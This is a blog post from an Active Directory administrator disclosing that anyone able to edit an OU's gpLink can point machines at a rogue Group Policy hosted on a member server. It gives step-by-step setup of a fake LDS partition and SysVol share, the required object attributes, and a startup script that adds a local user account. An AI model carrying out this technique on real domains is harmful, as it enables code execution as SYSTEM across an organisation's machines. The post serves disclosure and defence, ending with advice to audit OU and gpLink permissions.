Wednesday, July 15, 2020

Exploiting AD gpLink for Good or Evil




If you can edit gpLink, you can link to user and machine group polices that do not reside on domain controllers. They can reside on your server or workstation and you can do as you wish with them.  Yes, you read that right, GPOs can be hosted on member servers or workstations. The attack requires a foothold, but one that is too common.


I’ve submitted this issue to Microsoft, my employer at the time, and it has been deemed a feature, not a bug and no fix needed.  I tend to agree with this, as it can be used for good or evil.  None the less, the mistake that allows the attack is a common configuration failure.

The Setup

Often companies will create OUs for various application teams. This allows them to group their servers and apply Group Policy Objects to keep them consistent and manage who has various privileges. This may be the right to login, setting local admins, and startup scripts.  The things GPOs can do are endless.

In many cases, the AD team may just grant those teams Full Control (FC) of the OU.  The common assumption is that these rights don’t amount to much. The OU admins can’t edit GPOs, so they can’t change settings on the computer, other than link and unlink GPOs to get different, yet approved, settings. This full control delegation is fast and easy, but it’s bad!! The app team can now create users and create pain for the AD team. Don’t do this! In my org, we grant the OU owner FC on computer objects and a couple other things like Service Connections Points, and we let them edit the gpLink attribute of the OU, so they can pick and choose GPOs.

It is generally believed that there isn’t much risk here. If an attacker were to gain access to the OU management group, they could cause an outage by deleting computer object, and they could unlink a GPO, and maybe get a weaker security baseline.  As long the attacker can’t edit the GPOs, they can’t execute arbitrary code. Stop telling yourself that.

It turns out that FC of the OU or even writing to gpLink is not so innocuous. I won’t go into all the dark magic of how GPOs work, as the reference material is legion. The important part is this:

·         A client processing the server GPOs first looks at the OU it is in, all parent OUs, and the domain top, for the gpLink attribute.  This can contain one or more linked GPOs. The list looks like this, [LDAP://CN={B23EE0B1-AC78-4957-853D-CBD650AF7678},CN=policies,CN=system,DC=devdom,DC=GBL;0] [LDAP://CN={A17EE0B1-AC78-4957-853D-CBD650AF7678},CN=policies,CN=system,DC=devdom,DC=GBL;0]

·         It parses these LDAP URLs and if the number is 0 or 2, it applies the GPO.

·         Applying the GPO means reading the groupPolicyContainer (GPC) AD object and getting its attributes.

·         The gPCFileSysPath attribute contains a UNC file share path to the Group Policy Template (GPT), which is the file structure on the DC that holds the GPO settings that configure the server. It would look like this. gPCFileSysPath: \\devdom.gbl\SysVol\devdom.gbl\Policies\{A17EE0B1-AC78-4957-853D-CBD650AF7678}

·         The GPO client parses the folders and does what is requested. In the case of machine polices, this happens as local system.


The New Exploit

For those with a keen eye, there was a phrase in italics above, “the file structure on the DC that holds the GPO settings”. As it turns out, the GPO client does not care if your GPC LDAP URL is on a DC, nor if the GPT files are on a DC. As long as the LDAP structure and responses are correct, and the GPT is formed correctly, the client does what is requested. This means, that as the AD guy who hates GPOs, I could get the GPOs off my DCs.  I could build an AD/LDS replica set and DFS-N and DFS-R farm and get out of hosting that stuff. I’ve been using this trick for years to link GPOs cross forest, so I don’t have to copy them. It only recently occurred to me that one might be able to redirect to non-DC hosts. One can install AD/LDS not just on servers, but also on desktops, like Win 7 and Win 10. No need to touch a server; any domain member foothold can host the rogue GPO.

Despite the legitimate uses of this technique, the reason you are probably here is to learn how to use a small foothold and extend and then exploit it or to detect if you are vulnerable or have been exploited already

My PoC does the bare minimum here, but one could get more elegant, and I plan to in the future. If you don’t want to know how it works or read code better the PoC code can be found here. Here are the steps:

1.       On a box you own in the domain, install the AD/LDS role, and import the Windows 2003 or newer schema.  I tested using 2008 schema.

a.       Naming your partition is vital. It must combine the machine name and the domain name. This is because the GPO client does not parse LDAP URLs per the RFC. It will not let you target a server with ldap://,DC… The client parsers the DN, based on the DC= components, and constructs what it thinks is a domain name from that. In my example, my server is named MYSERVER01.devdom.gbl, so my base LDAP partition’s DN must be DC=MYSERVER01,DC=devdom,DC=GBL. LDS automatically registers the SPN ldap/ MYSERVER01.devdom.gbl which is an important part of the solution. If I were to skip LDS and create a fake LDAP binary, for this exploit, I’d need to register the SPN on the machine account.

b.       Once I have the working LDAP, I need to create the container CN=Policies,CN=System,DC=MYSERVER01,DC=devdom,DC=gbl

c.       Then I create a groupPolicyContainer object. In my case, CN={A17EE0B1-AC78-4957-853D-CBD650AF7678},CN=Policies,CN=System,DC=MYSERVER01,DC=devdom,DC=gbl. The GUID is arbitrary.  I just picked one and stuck with it. I also apply the Apply GPO ACL to the new policy.

d.       Next, import data to make it work and look legit.  I did not test what does and doesn’t have to be preset to make it work.  First time worked, and I moved on. I’d bet this can be slimmed down some.

                                                               i.      cn: {A17EE0B1-AC78-4957-853D-CBD650AF7678};

                                                             ii.      displayName: _TempLDSTestGamache;

                                                           iii.      distinguishedName: CN={A17EE0B1-AC78-4957-853D-CBD650AF7678},CN=Policies,CN=System,DC=MYSERVER01,DC=devdom,DC=gbl;

                                                           iv.      flags: 0;

                                                             v.      gPCFileSysPath: \\MYSERVER01.devdom.gbl\SysVol\devdom.gbl\Policies\{A17EE0B1-AC78-4957-853D-CBD650AF7678};

                                                           vi.      gPCFunctionalityVersion: 2;

                                                          vii.      gPCMachineExtensionNames: [{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}];

                                                        viii.      name: {A17EE0B1-AC78-4957-853D-CBD650AF7678};

                                                            ix.      objectClass (3): top; container; groupPolicyContainer;

                                                             x.      versionNumber: 2;

e.       For completeness, create the sub-Containers

                                                               i.      CN=Machine,CN={A17EE0B1-AC78-4957-853D-CBD650AF7678},CN=Policies,CN=System,DC=MYSERVER01,DC=devdom,DC=gbl

                                                             ii.      CN=User,CN={A17EE0B1-AC78-4957-853D-CBD650AF7678},CN=Policies,CN=System,DC=MYSERVER01,DC=devdom,DC=gbl

f.        Create the file path and share that matches what is in your gPCFileSysPath

g.       Populate the file system with a GPO of your choice.  I chose a startup script.

E:\tools >net share

Share name   Resource                        Remark


C$           C:\                             Default share

E$           E:\                             Default share

IPC$                                         Remote IPC

ADMIN$       C:\Windows                      Remote Admin

SysVol       E:\fakeSysvol


E:\fakeSysvol>dir /s

 Volume in drive E is DATA

 Volume Serial Number is F051-F89C


 Directory of E:\fakeSysvol


09/21/2018  09:10 AM    <DIR>          .

09/21/2018  09:10 AM    <DIR>          ..

09/21/2018  09:10 AM    <DIR>          devdom.gbl

               0 File(s)              0 bytes


 Directory of E:\fakeSysvol\devdom.gbl


09/21/2018  09:10 AM    <DIR>          .

09/21/2018  09:10 AM    <DIR>          ..

09/21/2018  09:10 AM    <DIR>          Policies

               0 File(s)              0 bytes


 Directory of E:\fakeSysvol\devdom.gbl\Policies


09/21/2018  09:10 AM    <DIR>          .

09/21/2018  09:10 AM    <DIR>          ..

09/21/2018  09:10 AM    <DIR>          {A17EE0B1-AC78-4957-853D-CBD650AF7678}

               0 File(s)              0 bytes


 Directory of E:\fakeSysvol\devdom.gbl\Policies\{A17EE0B1-AC78-4957-853D-CBD650AF7678}


09/21/2018  09:10 AM    <DIR>          .

09/21/2018  09:10 AM    <DIR>          ..

09/21/2018  08:58 AM                59 GPT.INI

09/21/2018  09:10 AM    <DIR>          Machine

09/21/2018  09:10 AM    <DIR>          User

               1 File(s)             59 bytes


 Directory of E:\fakeSysvol\devdom.gbl\Policies\{A17EE0B1-AC78-4957-853D-CBD650AF7678}\Machine


09/21/2018  09:10 AM    <DIR>          .

09/21/2018  09:10 AM    <DIR>          ..

09/21/2018  09:10 AM    <DIR>          Scripts

               0 File(s)              0 bytes


 Directory of E:\fakeSysvol\devdom.gbl\Policies\{A17EE0B1-AC78-4957-853D-CBD650AF7678}\Machine\Scripts


09/21/2018  09:10 AM    <DIR>          .

09/21/2018  09:10 AM    <DIR>          ..

09/21/2018  09:10 AM    <DIR>          Shutdown

09/21/2018  09:10 AM    <DIR>          Startup

               0 File(s)              0 bytes


 Directory of E:\fakeSysvol\devdom.gbl\Policies\{A17EE0B1-AC78-4957-853D-CBD650AF7678}\Machine\Scripts\Shutdown


09/21/2018  09:10 AM    <DIR>          .

09/21/2018  09:10 AM    <DIR>          ..

               0 File(s)              0 bytes


 Directory of E:\fakeSysvol\devdom.gbl\Policies\{A17EE0B1-AC78-4957-853D-CBD650AF7678}\Machine\Scripts\Startup


09/21/2018  09:10 AM    <DIR>          .

09/21/2018  09:10 AM    <DIR>          ..

09/24/2018  09:36 AM                33 fun.bat

               1 File(s)             33 bytes


 Directory of E:\fakeSysvol\devdom.gbl\Policies\{A17EE0B1-AC78-4957-853D-CBD650AF7678}\User


09/21/2018  09:10 AM    <DIR>          .

09/21/2018  09:10 AM    <DIR>          ..

               0 File(s)              0 bytes


     Total Files Listed:

               2 File(s)             92 bytes

              26 Dir(s)  204,996,345,856 bytes free



E:\fakeSysvol\devdom.gbl\Policies\{A17EE0B1-AC78-4957-853D-CBD650AF7678}\Machine\Scripts\Startup>type fun.bat

net user pwntest2 /add /active:no


The last step is to edit the gpLink to include the new GPO. Just add the entry to gpLink, like so, [LDAP://CN={A17EE0B1-AC78-4957-853D-CBD650AF7678},CN=policies,CN=system,DC=MYSERVER01,DC=devdom,DC=GBL;0]

Notice that the link looks pretty legit unless you were to look very closely.

The GPO will apply within 90 minutes in most environments, and in my case, the script is only launched at startup.  One could use it to create a scheduled task, and much more…

I have not taken the time to think about all the evil that could be done if an attacker were able to write to gpLink in a place that affected users.  This would let the attacker run code as the user on whatever machines they login to.  If the user had admin rights, you own that server too.


Protect your gpLinks and OUs. Run the scripts to find your misconfigurations. If the tool helps you, let me know, so I can feel like a good person. That is all.


Inputting falsified referrals to this site violates the terms of service of this site and is considered unauthorized access (hacking).